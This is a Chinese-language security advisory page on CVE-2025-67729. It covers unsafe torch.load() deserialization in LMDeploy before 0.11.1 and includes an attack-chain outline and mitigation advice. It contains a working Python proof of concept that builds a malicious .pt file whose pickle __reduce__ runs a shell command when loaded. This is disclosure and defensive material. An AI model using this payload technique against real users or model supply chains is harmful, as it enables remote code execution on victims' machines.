IPBUF安全漏洞报告
English
CVE-2025-67729 CVSS 8.8 高危

CVE-2025-67729 LMDeploy torch.load()不安全反序列化远程代码执行漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-67729
漏洞类型
不安全反序列化/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LMDeploy

相关标签

不安全反序列化远程代码执行LMDeploytorch.loadpickle反序列化LLM安全模型加载漏洞CVE-2025-67729

漏洞概述

LMDeploy是一款用于压缩、部署和服务大型语言模型(LLM)的工具包。在0.11.1之前的版本中存在严重的不安全反序列化漏洞。该漏洞源于在加载模型检查点文件时使用了不安全的torch.load()调用,具体表现为未设置weights_only=True参数。攻击者可以通过构造恶意的.bin或.pt模型文件,当受害者使用LMDeploy加载这些文件时,触发反序列化过程,从而在受害者机器上执行任意代码。此漏洞无需特殊权限即可被利用,但需要用户交互或诱导用户加载恶意模型文件。CVSS评分8.8,属于高危漏洞,对机密性、完整性和可用性均造成严重影响。该漏洞已被官方确认并在新版本0.11.1中修复。

技术细节

漏洞的核心问题在于Python的torch.load()函数在默认情况下允许反序列化任意Python对象。当weights_only参数未设置为True或未显式传递可信对象时,torch.load()会执行模型文件中嵌入的__reduce__或其他魔术方法,从而触发任意代码执行。攻击者可以精心构造一个包含恶意序列化对象的.pt或.bin文件,该文件在被torch.load()加载时,会自动执行攻击者预设的代码,例如反弹shell、下载后门程序或窃取敏感数据。LMDeploy在加载模型检查点时直接调用torch.load()而未进行安全验证,这使得整个模型加载流程都处于危险之中。攻击者可以通过社交工程手段诱导用户加载恶意模型,或在模型供应链中植入恶意文件。由于LLM模型文件通常体积较大且来源多样,这一漏洞具有较高的隐蔽性和传播潜力。

攻击链分析

STEP 1
步骤1: 信息收集与侦察
攻击者识别目标环境中使用LMDeploy的版本,确认版本低于0.11.1,并了解模型加载流程
STEP 2
步骤2: 恶意模型文件制作
攻击者构造包含恶意payload的.pt或.bin模型文件,利用Python pickle序列化的__reduce__方法注入任意代码
STEP 3
步骤3: 恶意文件投递
通过社交工程、供应链污染、恶意下载链接或中间人攻击等方式,将恶意模型文件传递给受害者
STEP 4
步骤4: 诱导加载
诱骗受害者使用LMDeploy加载恶意模型文件,可能通过伪造模型名称或伪装成正常模型更新
STEP 5
步骤5: 代码执行
当LMDeploy调用torch.load()加载恶意文件时,未设置weights_only参数导致恶意代码被执行
STEP 6
步骤6: 目标系统控制
攻击者获得目标系统的命令执行权限,可进行数据窃取、横向移动或部署后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67729 PoC - Malicious Model File Generator # This PoC demonstrates how a malicious .pt file can be crafted to execute arbitrary code import torch import os class MaliciousPayload: def __reduce__(self): # This will execute when the model file is loaded # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_model(output_path): """ Create a malicious PyTorch model file that executes code when loaded. Usage: python cve_2025_67729_poc.py This will create a malicious_model.pt file. When loaded with: torch.load('malicious_model.pt') Or: torch.load('malicious_model.pt', weights_only=False) The code in __reduce__ will be executed. """ malicious_data = { 'model_weights': MaliciousPayload(), 'metadata': { 'version': '1.0', 'architecture': 'test_model' } } torch.save(malicious_data, output_path) print(f"[+] Malicious model saved to: {output_path}") print(f"[!] When loaded with torch.load(), arbitrary code will be executed") # Generate the malicious model file if __name__ == "__main__": create_malicious_model('malicious_model.pt') print("\n--- Vulnerable Code Example ---") print(""" # LMDeploy vulnerable code pattern: import torch # VULNERABLE - No weights_only parameter model = torch.load('model.pt') # Executes malicious code # VULNERABLE - Explicitly set to False model = torch.load('model.pt', weights_only=False) # Also vulnerable # SAFE - weights_only=True (but may break legitimate models) model = torch.load('model.pt', weights_only=True) # Safe but limited """)

影响范围

LMDeploy < 0.11.1

防御指南

临时缓解措施
立即将LMDeploy升级到0.11.1版本以修复此漏洞。在无法立即升级的情况下,应避免加载来源不明的模型文件,对所有模型文件进行完整性校验,并在隔离环境中加载未知来源的模型。同时考虑使用网络隔离措施限制被控主机的网络访问权限,防止攻击成功后的横向移动和数据外传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表